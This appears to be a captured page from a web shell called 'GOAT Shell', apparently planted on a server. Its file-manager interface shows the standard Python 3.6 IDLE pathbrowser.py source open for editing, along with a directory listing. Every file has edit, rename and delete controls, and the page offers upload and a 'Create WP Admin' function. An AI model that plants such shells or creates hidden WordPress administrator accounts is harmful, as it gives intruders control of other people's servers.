🐐 GOAT Shell
Current path:
opt
/
alt
/
python36
/
lib64
/
python3.6
/
idlelib
/
👤 Create WP Admin
⬆️
Go up: python3.6
✏️ Editing: pathbrowser.py
import importlib.machinery import os import sys from idlelib.browser import ModuleBrowser, ModuleBrowserTreeItem from idlelib.tree import TreeItem class PathBrowser(ModuleBrowser): def __init__(self, master, *, _htest=False, _utest=False): """ _htest - bool, change box location when running htest """ self.master = master self._htest = _htest self._utest = _utest self.init() def settitle(self): "Set window titles." self.top.wm_title("Path Browser") self.top.wm_iconname("Path Browser") def rootnode(self): return PathBrowserTreeItem() class PathBrowserTreeItem(TreeItem): def GetText(self): return "sys.path" def GetSubList(self): sublist = [] for dir in sys.path: item = DirBrowserTreeItem(dir) sublist.append(item) return sublist class DirBrowserTreeItem(TreeItem): def __init__(self, dir, packages=[]): self.dir = dir self.packages = packages def GetText(self): if not self.packages: return self.dir else: return self.packages[-1] + ": package" def GetSubList(self): try: names = os.listdir(self.dir or os.curdir) except OSError: return [] packages = [] for name in names: file = os.path.join(self.dir, name) if self.ispackagedir(file): nn = os.path.normcase(name) packages.append((nn, name, file)) packages.sort() sublist = [] for nn, name, file in packages: item = DirBrowserTreeItem(file, self.packages + [name]) sublist.append(item) for nn, name in self.listmodules(names): item = ModuleBrowserTreeItem(os.path.join(self.dir, name)) sublist.append(item) return sublist def ispackagedir(self, file): " Return true for directories that are packages." if not os.path.isdir(file): return False init = os.path.join(file, "__init__.py") return os.path.exists(init) def listmodules(self, allnames): modules = {} suffixes = importlib.machinery.EXTENSION_SUFFIXES[:] suffixes += importlib.machinery.SOURCE_SUFFIXES suffixes += importlib.machinery.BYTECODE_SUFFIXES sorted = [] for suff in suffixes: i = -len(suff) for name in allnames[:]: normed_name = os.path.normcase(name) if normed_name[i:] == suff: mod_name = name[:i] if mod_name not in modules: modules[mod_name] = None sorted.append((normed_name, name)) allnames.remove(name) sorted.sort() return sorted def _path_browser(parent): # htest # PathBrowser(parent, _htest=True) parent.mainloop() if __name__ == "__main__": from unittest import main main('idlelib.idle_test.test_pathbrowser', verbosity=2, exit=False) from idlelib.idle_test.htest import run run(_path_browser)
Save
📁
Icons
|
✏️ Rename
|
🗑️ Delete
📁
idle_test
|
✏️ Rename
|
🗑️ Delete
📁
__pycache__
|
✏️ Rename
|
🗑️ Delete
📄
autocomplete.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
autocomplete_w.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
autoexpand.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
browser.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
calltip.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
calltip_w.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ChangeLog
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
codecontext.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
colorizer.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
config-extensions.def
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
config-highlight.def
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
config-keys.def
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
config-main.def
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
config.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
configdialog.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
config_key.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
CREDITS.txt
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
debugger.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
debugger_r.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
debugobj.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
debugobj_r.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
delegator.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
dynoption.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
editor.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
extend.txt
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
filelist.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
grep.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
help.html
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
help.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
help_about.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
history.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
HISTORY.txt
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
hyperparser.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
idle.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
idle.pyw
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
iomenu.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
macosx.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mainmenu.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
multicall.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
NEWS.txt
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
NEWS2x.txt
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
outwin.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
paragraph.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
parenmatch.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pathbrowser.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
percolator.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyparse.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyshell.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
query.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
README.txt
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
redirector.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
replace.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rpc.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rstrip.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
run.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
runscript.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
scrolledlist.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
search.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
searchbase.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
searchengine.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
squeezer.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
stackviewer.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
statusbar.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
textview.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
TODO.txt
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tooltip.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tree.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
undo.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
window.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
zoomheight.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
zzdummy.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
_pyclbr.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
__init__.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
__main__.py
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📤 Upload File
Upload
📁 Create Folder
Create Folder